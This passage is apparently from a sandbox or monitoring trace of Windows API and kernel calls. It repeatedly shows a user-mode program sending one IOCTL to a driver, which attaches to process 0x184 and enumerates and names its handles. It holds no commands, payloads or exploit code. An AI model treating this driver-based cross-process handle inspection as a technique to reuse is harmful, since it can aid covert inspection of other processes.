Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.587] PsAcquireProcessExitSynchronization () returned 0x0 [0131.587] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.587] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001685cc0, HandleInformation=0x0) returned 0x0 [0131.587] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.587] PsReleaseProcessExitSynchronization () returned 0x2 [0131.587] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.587] ObQueryNameString (in: Object=0xfffff8a001685cc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.587] ObfDereferenceObject (Object=0xfffff8a001685cc0) returned 0x1 [0131.587] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.587] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.587] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.587] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.588] PsAcquireProcessExitSynchronization () returned 0x0 [0131.588] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.588] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001523570, HandleInformation=0x0) returned 0x0 [0131.588] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.588] PsReleaseProcessExitSynchronization () returned 0x2 [0131.588] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.588] ObQueryNameString (in: Object=0xfffff8a001523570, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.588] ObfDereferenceObject (Object=0xfffff8a001523570) returned 0x1 [0131.588] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.588] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.588] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.588] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.588] PsAcquireProcessExitSynchronization () returned 0x0 [0131.588] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.588] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001527770, HandleInformation=0x0) returned 0x0 [0131.588] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.588] PsReleaseProcessExitSynchronization () returned 0x2 [0131.588] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.588] ObQueryNameString (in: Object=0xfffff8a001527770, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.588] ObfDereferenceObject (Object=0xfffff8a001527770) returned 0x1 [0131.588] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.588] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.588] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.588] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.588] PsAcquireProcessExitSynchronization () returned 0x0 [0131.588] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.588] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00152e880, HandleInformation=0x0) returned 0x0 [0131.588] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.588] PsReleaseProcessExitSynchronization () returned 0x2 [0131.588] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.588] ObQueryNameString (in: Object=0xfffff8a00152e880, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.588] ObfDereferenceObject (Object=0xfffff8a00152e880) returned 0x1 [0131.588] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.588] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.589] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.589] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.589] PsAcquireProcessExitSynchronization () returned 0x0 [0131.589] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.589] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001d0a770, HandleInformation=0x0) returned 0x0 [0131.589] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.589] PsReleaseProcessExitSynchronization () returned 0x2 [0131.589] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.589] ObQueryNameString (in: Object=0xfffff8a001d0a770, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.589] ObfDereferenceObject (Object=0xfffff8a001d0a770) returned 0x1 [0131.589] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.589] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.589] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.589] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.589] PsAcquireProcessExitSynchronization () returned 0x0 [0131.589] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.589] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0015484a0, HandleInformation=0x0) returned 0x0 [0131.589] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.589] PsReleaseProcessExitSynchronization () returned 0x2 [0131.589] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.589] ObQueryNameString (in: Object=0xfffff8a0015484a0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.589] ObfDereferenceObject (Object=0xfffff8a0015484a0) returned 0x1 [0131.589] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.589] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.589] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.589] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.589] PsAcquireProcessExitSynchronization () returned 0x0 [0131.589] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.589] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001566750, HandleInformation=0x0) returned 0x0 [0131.589] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.589] PsReleaseProcessExitSynchronization () returned 0x2 [0131.589] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.589] ObQueryNameString (in: Object=0xfffff8a001566750, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.590] ObfDereferenceObject (Object=0xfffff8a001566750) returned 0x1 [0131.590] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.590] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.590] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.590] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.590] PsAcquireProcessExitSynchronization () returned 0x0 [0131.590] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.590] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001558990, HandleInformation=0x0) returned 0x0 [0131.590] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.590] PsReleaseProcessExitSynchronization () returned 0x2 [0131.590] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.590] ObQueryNameString (in: Object=0xfffff8a001558990, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.590] ObfDereferenceObject (Object=0xfffff8a001558990) returned 0x1 [0131.590] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.590] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.590] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.590] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.590] PsAcquireProcessExitSynchronization () returned 0x0 [0131.590] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.590] ObReferenceObjectByHandle (in: Handle=0x184, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0015bffc0, HandleInformation=0x0) returned 0x0 [0131.590] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.590] PsReleaseProcessExitSynchronization () returned 0x2 [0131.590] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.590] ObQueryNameString (in: Object=0xfffff8a0015bffc0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.590] ObfDereferenceObject (Object=0xfffff8a0015bffc0) returned 0x1 [0131.590] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.590] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.590] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.590] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.590] PsAcquireProcessExitSynchronization () returned 0x0 [0131.590] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.590] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001df1770, HandleInformation=0x0) returned 0x0 [0131.591] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.591] PsReleaseProcessExitSynchronization () returned 0x2 [0131.591] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.591] ObQueryNameString (in: Object=0xfffff8a001df1770, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.591] ObfDereferenceObject (Object=0xfffff8a001df1770) returned 0x1 [0131.591] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.591] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.591] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.591] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.591] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.591] PsAcquireProcessExitSynchronization () returned 0x0 [0131.591] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.591] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00180a5e0, HandleInformation=0x0) returned 0x0 [0131.591] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.591] PsReleaseProcessExitSynchronization () returned 0x2 [0131.591] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.591] ObQueryNameString (in: Object=0xfffff8a00180a5e0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.591] ObfDereferenceObject (Object=0xfffff8a00180a5e0) returned 0x1 [0131.591] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.591] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.591] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.591] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.591] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.591] PsAcquireProcessExitSynchronization () returned 0x0 [0131.591] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.591] ObReferenceObjectByHandle (in: Handle=0x1e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001a13540, HandleInformation=0x0) returned 0x0 [0131.591] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.591] PsReleaseProcessExitSynchronization () returned 0x2 [0131.591] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.591] ObQueryNameString (in: Object=0xfffff8a001a13540, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.591] ObfDereferenceObject (Object=0xfffff8a001a13540) returned 0x1 [0131.591] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.591] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.592] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.592] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.592] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.592] PsAcquireProcessExitSynchronization () returned 0x0 [0131.592] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.592] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001248470, HandleInformation=0x0) returned 0x0 [0131.592] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.592] PsReleaseProcessExitSynchronization () returned 0x2 [0131.592] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.592] ObQueryNameString (in: Object=0xfffff8a001248470, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.592] ObfDereferenceObject (Object=0xfffff8a001248470) returned 0x1 [0131.592] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.592] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.592] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.592] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.592] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.592] PsAcquireProcessExitSynchronization () returned 0x0 [0131.592] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.592] ObReferenceObjectByHandle (in: Handle=0x1f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00193ffc0, HandleInformation=0x0) returned 0x0 [0131.592] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.592] PsReleaseProcessExitSynchronization () returned 0x2 [0131.592] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.592] ObQueryNameString (in: Object=0xfffff8a00193ffc0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.592] ObfDereferenceObject (Object=0xfffff8a00193ffc0) returned 0x1 [0131.592] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.592] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.592] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.592] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.592] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.592] PsAcquireProcessExitSynchronization () returned 0x0 [0131.592] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.592] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001984fc0, HandleInformation=0x0) returned 0x0 [0131.592] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.593] PsReleaseProcessExitSynchronization () returned 0x2 [0131.593] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.593] ObQueryNameString (in: Object=0xfffff8a001984fc0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.593] ObfDereferenceObject (Object=0xfffff8a001984fc0) returned 0x1 [0131.593] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.593] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.593] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.593] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.593] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.593] PsAcquireProcessExitSynchronization () returned 0x0 [0131.593] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.593] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0016d4ba0, HandleInformation=0x0) returned 0x0 [0131.593] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.593] PsReleaseProcessExitSynchronization () returned 0x2 [0131.593] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.593] ObQueryNameString (in: Object=0xfffff8a0016d4ba0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: 